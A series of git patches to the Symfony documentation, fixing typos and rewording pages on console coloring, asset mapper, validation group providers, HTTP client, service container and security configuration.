Subject: [PATCH 5411/7107] Reword

---
 console/coloring.rst | 11 ++++-------
 1 file changed, 4 insertions(+), 7 deletions(-)

diff --git a/console/coloring.rst b/console/coloring.rst
index 083069fb69e..c54045250a8 100644
--- a/console/coloring.rst
+++ b/console/coloring.rst
@@ -1,8 +1,10 @@
 How to Color and Style the Console Output
 =========================================
 
-By using colors in the command output, you can distinguish different types of
-output (e.g. important messages, titles, comments, etc.).
+Symfony provides an optional :doc:`console style </console/style>` to render the
+input and output of commands in a consistent way. If you prefer to apply your
+own style, use the utilities explained in this article to show colors in the command
+output (e.g. to differentiate between important messages, titles, comments, etc.).
 
 .. note::
 
@@ -102,11 +104,6 @@ you can click on the *"Symfony Homepage"* text to open its URL in your default
 browser. Otherwise, you'll see *"Symfony Homepage"* as regular text and the URL
 will be lost.
 
-.. tip::
-
-    If you need a standard yet complete style, you can leverage the :doc:`default
-    Symfony Style </console/style>`.
-
 .. _Cmder: https://github.com/cmderdev/cmder
 .. _ConEmu: https://conemu.github.io/
 .. _ANSICON: https://github.com/adoxa/ansicon/releases

From 74c1ea7d9ce7498220513b9198f954614f74978e Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 21 Nov 2023 16:01:57 +0100
Subject: [PATCH 5412/7107] Minor formating

Page: https://symfony.com/doc/current/frontend/asset_mapper.html#serving-assets-in-dev-vs-prod
---
 frontend/asset_mapper.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 1f10c8e3931..e9d67b76ea1 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -86,15 +86,16 @@ the file, the version part of the URL will change automatically!
 Serving Assets in dev vs prod
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-In the ``dev`` environment, the URL - ``/assets/images/duck-3c16d9220694c0e56d8648f25e6035e9.png``
-is handled and returned by your Symfony app. For the ``prod`` environment, before
-deploy, you should run:
+In the ``dev`` environment, the URL ``/assets/images/duck-3c16d9220694c0e56d8648f25e6035e9.png``
+is handled and returned by your Symfony app.
+
+For the ``prod`` environment, before deploy, you should run:
 
 .. code-block:: terminal
 
     $ php bin/console asset-map:compile
 
-This will physically copy all the files from your mapped directories into
+This will physically copy all the files from your mapped directories to
 ``public/assets/`` so that they're served directly by your web server.
 See :ref:`Deployment <asset-mapper-deployment>` for more details.
 

From c692372da95771ca88c3df4468c04370b8918b57 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 21 Nov 2023 16:30:53 +0100
Subject: [PATCH 5413/7107] Typo

Page: https://symfony.com/doc/current/frontend/asset_mapper.html#config-importmap-polyfill
---
 frontend/asset_mapper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index a3d32ea5114..671412ccb1c 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -969,7 +969,7 @@ pages. To add a CSS file to a specific page, create the file, then add a
     {% endblock %}
 
 For JavaScript, first create the new file (e.g. ``assets/checkout.js``). Then,
-add a ``script``` tag that imports it:
+add a ``script`` tag that imports it:
 
 .. code-block:: html+twig
 

From 848c6bb4f7147ca27bd8599da3351aaf379c9fe0 Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonel.ceruto@scnd.com>
Date: Fri, 11 Aug 2023 19:20:58 -0400
Subject: [PATCH 5414/7107] [Validator] Advanced Validation Group Provider

---
 validation/sequence_provider.rst | 94 ++++++++++++++++++++++++++++++++
 1 file changed, 94 insertions(+)

diff --git a/validation/sequence_provider.rst b/validation/sequence_provider.rst
index 2a06e661034..734a5176c3f 100644
--- a/validation/sequence_provider.rst
+++ b/validation/sequence_provider.rst
@@ -344,6 +344,100 @@ provides a sequence of groups to be validated:
             }
         }
 
+Advanced Validation Group Provider
+----------------------------------
+
+In the previous section, you learned how to dynamically determine the
+sequence of groups to apply based on the state of your entity. This
+approach covers most common scenarios, but for more advanced needs, you
+may find it to be insufficient.
+
+For instance, suppose you need to provide the sequence of groups from an
+external configuration or service that can change its value dynamically.
+Managing the entity initialization and manually setting its dependencies can
+be cumbersome, and the implementation might not align with the entity
+responsibilities.
+
+To address this, you can now configure the implementation of the
+:class:`Symfony\\Component\\Validator\\GroupProviderInterface`
+outside of the entity, and even register the group provider as a
+service if necessary.
+
+Here's how you can achieve this:
+
+ 1) **Define a Separate Group Provider Class:** You can create a class that
+    implements the :class:`Symfony\\Component\\Validator\\GroupProviderInterface`
+    and handles the dynamic group sequence logic.
+ 2) **Configure the User with the Provider:** Use the ``provider`` option within the
+    :class:`Symfony\\Component\\Validator\\Constraints\\GroupSequenceProvider`
+    attribute to link the entity with the provider class.
+ 3) **Autowiring or Manual Tagging:** If autowiring is enabled, your custom provider
+    will be automatically linked. Otherwise, you can manually tag your service with
+    ``validator.group_provider``.
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        // ...
+        use App\Validator\UserGroupProvider;
+
+        #[Assert\GroupSequenceProvider(provider: UserGroupProvider::class)]
+        class User
+        {
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\User:
+            group_sequence_provider: App\Validator\UserGroupProvider
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping
+                https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\User">
+                <group-sequence-provider>
+                    <value>App\Validator\UserGroupProvider</value>
+                </group-sequence-provider>
+                <!-- ... -->
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        // ...
+        use App\Validator\UserGroupProvider;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class User
+        {
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
+            {
+                $metadata->setGroupProvider(UserGroupProvider::class);
+                $metadata->setGroupSequenceProvider(true);
+                // ...
+            }
+        }
+
+With this approach, you can maintain a clean separation between the entity
+structure and the group sequence logic, allowing for more advanced use cases.
+
 How to Sequentially Apply Constraints on a Single Property
 ----------------------------------------------------------
 

From ed19fbf89445362b2317a3475824f0a49548d78d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 21 Nov 2023 17:01:13 +0100
Subject: [PATCH 5415/7107] Tweaks

---
 validation/sequence_provider.rst | 37 ++++++++++++++------------------
 1 file changed, 16 insertions(+), 21 deletions(-)

diff --git a/validation/sequence_provider.rst b/validation/sequence_provider.rst
index 734a5176c3f..55ff96acda2 100644
--- a/validation/sequence_provider.rst
+++ b/validation/sequence_provider.rst
@@ -347,33 +347,28 @@ provides a sequence of groups to be validated:
 Advanced Validation Group Provider
 ----------------------------------
 
-In the previous section, you learned how to dynamically determine the
-sequence of groups to apply based on the state of your entity. This
-approach covers most common scenarios, but for more advanced needs, you
-may find it to be insufficient.
+In the previous section, you learned how to change the sequence of groups
+dynamically based on the state of your entity. However, in more advanced cases
+you might need to use some external configuration or service to define that
+sequence of groups.
 
-For instance, suppose you need to provide the sequence of groups from an
-external configuration or service that can change its value dynamically.
 Managing the entity initialization and manually setting its dependencies can
 be cumbersome, and the implementation might not align with the entity
-responsibilities.
-
-To address this, you can now configure the implementation of the
-:class:`Symfony\\Component\\Validator\\GroupProviderInterface`
-outside of the entity, and even register the group provider as a
-service if necessary.
+responsibilities. To solve this, you can configure the implementation of the
+:class:`Symfony\\Component\\Validator\\GroupProviderInterface` outside of the
+entity, and even register the group provider as a service.
 
 Here's how you can achieve this:
 
- 1) **Define a Separate Group Provider Class:** You can create a class that
-    implements the :class:`Symfony\\Component\\Validator\\GroupProviderInterface`
-    and handles the dynamic group sequence logic.
- 2) **Configure the User with the Provider:** Use the ``provider`` option within the
-    :class:`Symfony\\Component\\Validator\\Constraints\\GroupSequenceProvider`
-    attribute to link the entity with the provider class.
- 3) **Autowiring or Manual Tagging:** If autowiring is enabled, your custom provider
-    will be automatically linked. Otherwise, you can manually tag your service with
-    ``validator.group_provider``.
+ 1) **Define a Separate Group Provider Class:** create a class that implements
+    the :class:`Symfony\\Component\\Validator\\GroupProviderInterface`
+    and handles the dynamic group sequence logic;
+ 2) **Configure the User with the Provider:** use the ``provider`` option within
+    the :class:`Symfony\\Component\\Validator\\Constraints\\GroupSequenceProvider`
+    attribute to link the entity with the provider class;
+ 3) **Autowiring or Manual Tagging:** if :doc:` autowiring </service_container/autowiring>`
+    is enabled, your custom provider will be automatically linked. Otherwise, you must
+    :doc:`tag your service </service_container/tags>` manually with the ``validator.group_provider`` tag.
 
 .. configuration-block::
 

From c3a8aac346ea87df859a3df276872ba58d3231ae Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Tue, 21 Nov 2023 17:16:37 +0100
Subject: [PATCH 5416/7107] remove versionadded directive for 6.3

---
 components/serializer.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 0a36d79be20..67aedbef466 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1275,11 +1275,6 @@ to ``true``::
     $result = $normalizer->denormalize($data, Dummy::class, 'json', [AbstractNormalizer::REQUIRE_ALL_PROPERTIES => true]);
     // throws Symfony\Component\Serializer\Exception\MissingConstructorArgumentException
 
-.. versionadded:: 6.3
-
-    The ``AbstractNormalizer::PREVENT_NULLABLE_FALLBACK`` context option
-    was introduced in Symfony 6.3.
-
 Skipping Uninitialized Properties
 ---------------------------------
 

From f6e6e9b4e45a5c553697aae9248c480bd29db832 Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Tue, 21 Nov 2023 22:49:37 +0100
Subject: [PATCH 5417/7107] docs: fix typo

---
 frontend/asset_mapper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index a3d32ea5114..4e53ac7bf94 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -609,7 +609,7 @@ When the browser downloads the page, this happens:
 3. It *then* sees the ``bootstrap`` import and downloads ``assets/bootstrap.js``.
 
 Instead of downloading all 3 files in parallel, the browser is forced to
-download them one-by-one as it discovers them. This is hurts performance. To fix
+download them one-by-one as it discovers them. This hurts performance. To fix
 this, in ``importmap.php``, add a ``preload`` key to the ``app`` entry, which
 points to the ``assets/app.js`` file. Actually, this should already be
 done for you::

From 078006be3b9a0a79695e0eebc1e58b4bfd63172d Mon Sep 17 00:00:00 2001
From: chx <chx1975@gmail.com>
Date: Wed, 22 Nov 2023 09:12:53 +0100
Subject: [PATCH 5418/7107] HttpKernelInterface::handle parameter and return
 types

---
 create_framework/http_kernel_httpkernelinterface.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/create_framework/http_kernel_httpkernelinterface.rst b/create_framework/http_kernel_httpkernelinterface.rst
index 4f9e1c731bf..431739ec404 100644
--- a/create_framework/http_kernel_httpkernelinterface.rst
+++ b/create_framework/http_kernel_httpkernelinterface.rst
@@ -16,9 +16,9 @@ goal by making our framework implement ``HttpKernelInterface``::
          */
         public function handle(
             Request $request,
-            $type = self::MAIN_REQUEST,
-            $catch = true
-        );
+            int $type = self::MAIN_REQUEST,
+            bool $catch = true
+        ): Response;
     }
 
 ``HttpKernelInterface`` is probably the most important piece of code in the

From 5e32c4bb2466c73d6b644bcd5647c3d42e953b17 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 22 Nov 2023 09:51:22 +0100
Subject: [PATCH 5419/7107] fix versionadded syntax

---
 components/string.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/components/string.rst b/components/string.rst
index 36df10f4597..323750921a8 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -236,6 +236,7 @@ Methods to Change Case
     u('Foo: Bar-baz.')->camel()->title(); // 'FooBarBaz'
 
 .. versionadded:: 7.1
+
     The ``localeLower()``, ``localeUpper()`` and ``localeTitle()`` methods were
     introduced in Symfony 7.1.
 

From 38f2ff8c65c72e016a1bd995eba7d0500d756900 Mon Sep 17 00:00:00 2001
From: lobodol <grobodol@gmail.com>
Date: Wed, 22 Nov 2023 09:41:29 +0100
Subject: [PATCH 5420/7107] fix(doc): typo

Remove duplicate word
---
 security/remember_me.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/remember_me.rst b/security/remember_me.rst
index ec3103f3ba9..4038f9e6268 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -219,7 +219,7 @@ present:
 .. image:: /_images/security/profiler-badges.png
     :alt: The Security page of the Symfony profiler, with the "Authenticators" tab showing the remember me badge in the passport object.
 
-Without this badge, remember me will be not be activated (regardless of all
+Without this badge, remember me will not be activated (regardless of all
 other settings).
 
 Add Remember Me Support to Custom Authenticators

From 0e84e79c84b6d5ec0be12755ca72bebe42380ee2 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 22 Nov 2023 11:45:41 +0100
Subject: [PATCH 5421/7107] -

---
 create_framework/http_kernel_httpkernelinterface.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/create_framework/http_kernel_httpkernelinterface.rst b/create_framework/http_kernel_httpkernelinterface.rst
index 431739ec404..8d28fc9d24b 100644
--- a/create_framework/http_kernel_httpkernelinterface.rst
+++ b/create_framework/http_kernel_httpkernelinterface.rst
@@ -39,8 +39,8 @@ Update your framework so that it implements this interface::
 
         public function handle(
             Request $request,
-            $type = HttpKernelInterface::MAIN_REQUEST,
-            $catch = true
+            int $type = HttpKernelInterface::MAIN_REQUEST,
+            bool $catch = true
         ) {
             // ...
         }

From df5edb0909e45fb39096b5323bf47367785ebc6d Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Wed, 22 Nov 2023 19:31:49 +0100
Subject: [PATCH 5422/7107] add links label in service container page

---
 service_container.rst | 21 +++++++++++----------
 1 file changed, 11 insertions(+), 10 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index fa3681e06f9..0bfa4dd6f58 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -82,8 +82,8 @@ in the container.
     There are actually *many* more services in the container, and each service has
     a unique id in the container, like ``request_stack`` or ``router.default``. For a full
     list, you can run ``php bin/console debug:container``. But most of the time,
-    you won't need to worry about this. See :ref:`services-wire-specific-service`.
-    See :doc:`/service_container/debug`.
+    you won't need to worry about this. See :ref:`how to choose a specific service
+    <services-wire-specific-service>`. See :doc:`/service_container/debug`.
 
 .. _service-container-creating-service:
 
@@ -230,10 +230,11 @@ each time you ask for it.
 
     Thanks to this configuration, you can automatically use any classes from the
     ``src/`` directory as a service, without needing to manually configure
-    it. Later, you'll learn more about this in :ref:`service-psr4-loader`.
+    it. Later, you'll learn how to :ref:`import many services at once
+    <service-psr4-loader>` with resource.
 
-    If you'd prefer to manually wire your service, that's totally possible: see
-    :ref:`services-explicitly-configure-wire-services`.
+    If you'd prefer to manually wire your service, that's totally possible to
+    :ref:`use explicit configuration <services-explicitly-configure-wire-services>`.
 
 .. _service-container_limiting-to-env:
 
@@ -840,8 +841,8 @@ argument for *any* service defined in this file! You can bind arguments by name
 (e.g. ``$adminEmail``), by type (e.g. ``Psr\Log\LoggerInterface``) or both
 (e.g. ``Psr\Log\LoggerInterface $requestLogger``).
 
-The ``bind`` config can also be applied to specific services or when loading many
-services at once (i.e. :ref:`service-psr4-loader`).
+The ``bind`` config can also be applied to specific services or when
+:ref:`loading many services at once <service-psr4-loader>`).
 
 Abstract Service Arguments
 --------------------------
@@ -1091,9 +1092,9 @@ key. For example, the default Symfony configuration contains this:
 This can be used to quickly make many classes available as services and apply some
 default configuration. The ``id`` of each service is its fully-qualified class name.
 You can override any service that's imported by using its id (class name) below
-(e.g. see :ref:`services-manually-wire-args`). If you override a service, none of
-the options (e.g. ``public``) are inherited from the import (but the overridden
-service *does* still inherit from ``_defaults``).
+(e.g. see :ref:`how to manually wire arguments <services-manually-wire-args>`).
+If you override a service, none of the options (e.g. ``public``) are inherited
+from the import (but the overridden service *does* still inherit from ``_defaults``).
 
 You can also ``exclude`` certain paths. This is optional, but will slightly increase
 performance in the ``dev`` environment: excluded paths are not tracked and so modifying

From 7cc8290969d30fd708807b8851558bfefbf173e5 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 23 Nov 2023 09:08:07 +0100
Subject: [PATCH 5423/7107] [HttpKernel] Introduce
 `ExceptionEvent::isKernelTerminating()`

---
 components/http_kernel.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 435ded9063a..fbc59a85a50 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -519,6 +519,17 @@ comes with an :class:`Symfony\\Component\\HttpKernel\\EventListener\\ErrorListen
 which if you choose to use, will do this and more by default (see the sidebar
 below for more details).
 
+The :class:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent` exposes the
+:method:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent::isKernelTerminating`
+method, which you can use to determine if the kernel is currently terminating
+at the moment the exception was thrown.
+
+.. versionadded:: 7.1
+
+    The
+    :method:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent::isKernelTerminating`
+    method was introduced in Symfony 7.1.
+
 .. note::
 
     When setting a response for the ``kernel.exception`` event, the propagation

From 87d6c7ce684693a1d1daa93415e360a434aaa95a Mon Sep 17 00:00:00 2001
From: Simon <smn.andre@gmail.com>
Date: Thu, 23 Nov 2023 01:05:48 +0100
Subject: [PATCH 5424/7107] Update license.rst

---
 contributing/code/license.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/license.rst b/contributing/code/license.rst
index 8f0ff3f6501..0a4eaafce0d 100644
--- a/contributing/code/license.rst
+++ b/contributing/code/license.rst
@@ -5,7 +5,7 @@ Symfony Code License
 
 Symfony code is released under `the MIT license`_:
 
-Copyright (c) 2004-2021 Fabien Potencier
+Copyright (c) 2004-present Fabien Potencier
 
 Permission is hereby granted, free of charge, to any person obtaining a copy
 of this software and associated documentation files (the "Software"), to deal

From b4b65d76846908281c17fe3f400fb925c8bb55b2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Kristijan=20Stipi=C4=87?= <kiki.stipic@gmail.com>
Date: Wed, 22 Nov 2023 14:46:04 +0100
Subject: [PATCH 5425/7107] [HttpClient] Symfony HTTP Client documentation

---
 http_client.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index 13c520217de..79be1807b57 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1049,7 +1049,11 @@ If the server does respond with a gzipped response, it's decoded transparently.
 To disable HTTP compression, send an ``Accept-Encoding: identity`` HTTP header.
 
 Chunked transfer encoding is enabled automatically if both your PHP runtime and
-the remote server supports it.
+the remote server support it.
+
+.. caution::
+
+    If you set `Accept-Encoding` to e.g. `gzip`, you will need to handle the decompression yourself.
 
 HTTP/2 Support
 ~~~~~~~~~~~~~~

From 7ded54a59bfdde96adcc3cb8dd8ad814335ddd78 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 23 Nov 2023 09:55:23 +0100
Subject: [PATCH 5426/7107] Tweak

---
 http_client.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index 79be1807b57..ebdef7fb7d3 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1053,7 +1053,8 @@ the remote server support it.
 
 .. caution::
 
-    If you set `Accept-Encoding` to e.g. `gzip`, you will need to handle the decompression yourself.
+    If you set ``Accept-Encoding`` to e.g. ``gzip``, you will need to handle the
+    decompression yourself.
 
 HTTP/2 Support
 ~~~~~~~~~~~~~~

From 7047b7964057a78550dae016604c3dda2a95e6b7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 23 Nov 2023 10:00:39 +0100
Subject: [PATCH 5427/7107] Tweak

---
 service_container.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container.rst b/service_container.rst
index 0bfa4dd6f58..ea341c124d6 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -233,7 +233,7 @@ each time you ask for it.
     it. Later, you'll learn how to :ref:`import many services at once
     <service-psr4-loader>` with resource.
 
-    If you'd prefer to manually wire your service, that's totally possible to
+    If you'd prefer to manually wire your service, you can
     :ref:`use explicit configuration <services-explicitly-configure-wire-services>`.
 
 .. _service-container_limiting-to-env:

From 3726dda85d8836fe9986d08c3caabf2ca56effa6 Mon Sep 17 00:00:00 2001
From: Simon <smn.andre@gmail.com>
Date: Wed, 22 Nov 2023 19:09:02 +0100
Subject: [PATCH 5428/7107] Remove "--unpack" option from setup.rst

---
 setup.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index 55499fed87f..ea4c6cdc7f9 100644
--- a/setup.rst
+++ b/setup.rst
@@ -219,8 +219,7 @@ which in turn installs several packages like ``symfony/debug-bundle``,
 You won't see the ``symfony/debug-pack`` dependency in your ``composer.json``,
 as Flex automatically unpacks the pack. This means that it only adds the real
 packages as dependencies (e.g. you will see a new ``symfony/var-dumper`` in
-``require-dev``). While it is not recommended, you can use the ``composer
-require --no-unpack ...`` option to disable unpacking.
+``require-dev``).
 
 .. _security-checker:
 

From dee0007cfa2da2ca225eb5ed69bde7fed96673c2 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Thu, 23 Nov 2023 11:05:27 +0100
Subject: [PATCH 5429/7107] update learn more link for event dispatcher
 component

---
 components/event_dispatcher.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index cc4367f8723..f6f30419f68 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -480,9 +480,8 @@ Learn More
 
 .. toctree::
     :maxdepth: 1
-    :glob:
 
-    event_dispatcher
+    /components/event_dispatcher/generic_event
 
 * :ref:`The kernel.event_listener tag <dic-tags-kernel-event-listener>`
 * :ref:`The kernel.event_subscriber tag <dic-tags-kernel-event-subscriber>`

From 701d4020859c8e4644a2e0ac6c194a944897cc3d Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Thu, 23 Nov 2023 14:15:39 +0100
Subject: [PATCH 5430/7107] explicit check route option for loginlink usage

---
 security/login_link.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/login_link.rst b/security/login_link.rst
index c08bd1f2132..df4ac801dcd 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -28,8 +28,8 @@ this is not yet the case.
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 The login link authenticator is configured using the ``login_link`` option
-under the firewall. You must configure a ``check_route`` and
-``signature_properties`` when enabling this authenticator:
+under the firewall. You must configure a ``check_route`` with a route name
+and ``signature_properties`` when enabling this authenticator:
 
 .. configuration-block::
 

From f9a7e1946bffc0a4c86bf7aa7342c3ee0780afef Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 24 Nov 2023 14:07:32 +0100
Subject: [PATCH 5431/7107] [Security] Migrate to ConfigBuilder format

---
 reference/configuration/security.rst | 32 ++++++++++++----------------
 1 file changed, 14 insertions(+), 18 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 22884fdbbe1..e28b52336ba 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -119,25 +119,21 @@ user logs out::
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+
+        // ...
+
+        return static function (SecurityConfig $securityConfig): void {
             // ...
-            'firewalls' => [
-                'main' => [
-                    'logout' => [
-                        'delete_cookies' => [
-                            'cookie1-name' => null,
-                            'cookie2-name' => [
-                                'path' => '/',
-                            ],
-                            'cookie3-name' => [
-                                'path' => null,
-                                'domain' => 'example.com',
-                            ],
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+
+            $securityConfig->firewall('main')
+                ->logout()
+                    ->deleteCookie('cookie1-name')
+                    ->deleteCookie('cookie2-name')
+                        ->path('/')
+                    ->deleteCookie('cookie3-name')
+                        ->path(null)
+                        ->domain('example.com');
+        };
 
 erase_credentials
 ~~~~~~~~~~~~~~~~~

From aa5132a4359a461c9b070686b44e6c210cb48d5c Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 24 Nov 2023 14:10:48 +0100
Subject: [PATCH 5432/7107] [Security] Migrate to ConfigBuilder format for 6.3+

---
 reference/configuration/security.rst | 53 ++++++++++++----------------
 1 file changed, 23 insertions(+), 30 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index d6ffd07f102..973c970f413 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -408,25 +408,21 @@ user logs out::
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+
+        // ...
+
+        return static function (SecurityConfig $securityConfig): void {
             // ...
-            'firewalls' => [
-                'main' => [
-                    'logout' => [
-                        'delete_cookies' => [
-                            'cookie1-name' => null,
-                            'cookie2-name' => [
-                                'path' => '/',
-                            ],
-                            'cookie3-name' => [
-                                'path' => null,
-                                'domain' => 'example.com',
-                            ],
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+
+            $securityConfig->firewall('main')
+                ->logout()
+                    ->deleteCookie('cookie1-name')
+                    ->deleteCookie('cookie2-name')
+                        ->path('/')
+                    ->deleteCookie('cookie3-name')
+                        ->path(null)
+                        ->domain('example.com');
+        };
 
 
 clear_site_data
@@ -483,19 +479,16 @@ It's also possible to use ``*`` as a wildcard for all directives:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+
+        // ...
+
+        return static function (SecurityConfig $securityConfig): void {
             // ...
-            'firewalls' => [
-                'main' => [
-                    'logout' => [
-                        'clear-site-data' => [
-                            'cookies',
-                            'storage',
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+
+            $securityConfig->firewall('main')
+                ->logout()
+                    ->clearSiteData(['cookies', 'storage']);
+        };
 
 .. versionadded:: 6.3
 

From 412763397e1705707acb8cdb51a51e14f2ed2ba7 Mon Sep 17 00:00:00 2001
From: "Alexander M. Turek" <me@derrabus.de>
Date: Sat, 25 Nov 2023 17:16:27 +0100
Subject: [PATCH 5433/7107] Document requirements for DoctrineDbalAdapter

---
 .../cache/adapters/doctrine_dbal_adapter.rst  | 19 ++++++++++++++++++-
 1 file changed, 18 insertions(+), 1 deletion(-)

diff --git a/components/cache/adapters/doctrine_dbal_adapter.rst b/components/cache/adapters/doctrine_dbal_adapter.rst
index fc04410bffc..97b67724ce1 100644
--- a/components/cache/adapters/doctrine_dbal_adapter.rst
+++ b/components/cache/adapters/doctrine_dbal_adapter.rst
@@ -39,5 +39,22 @@ optional arguments::
     necessary to detect the database engine and version without opening the
     connection.
 
+The adapter uses SQL syntax that is optimized for database server that it is connected to.
+The following database servers are known to be compatible:
+
+* MySQL 5.7 and newer
+* MariaDB 10.2 and newer
+* Oracle 10g and newer
+* SQL Server 2012 and newer
+* SQLite 3.24 or later
+* PostgreSQL 9.5 or later
+
+.. note::
+
+    Newer releases of Doctrine DBAL might increase these minimal versions. Please check
+    the manual page on `Doctrine DBAL Platforms`_ if your database server is compatible
+    with the installed Doctrine DBAL version.
+
 .. _`Doctrine DBAL Connection`: https://github.com/doctrine/dbal/blob/master/src/Connection.php
-.. _`Doctrine DBAL URL`: https://www.doctrine-project.org/projects/doctrine-dbal/en/latest/reference/configuration.html#connecting-using-a-url
+.. _`Doctrine DBAL URL`: https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/configuration.html#connecting-using-a-url
+.. _`Doctrine DBAL Platforms`: https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/platforms.html
\ No newline at end of file

From ab2e07b5162c0aed5d8daeec15b71fbd3866aaee Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 26 Nov 2023 21:52:48 +0100
Subject: [PATCH 5434/7107] [AssetMapper] Exclude dot files

---
 frontend/asset_mapper.rst | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index f65aff65c17..15b486816ad 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -953,6 +953,25 @@ This is a list of glob patterns that will be excluded from the asset map:
 You can use the ``debug:asset-map`` command to double-check that the files
 you expect are being included in the asset map.
 
+``framework.asset_mapper.exclude_dotfiles``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
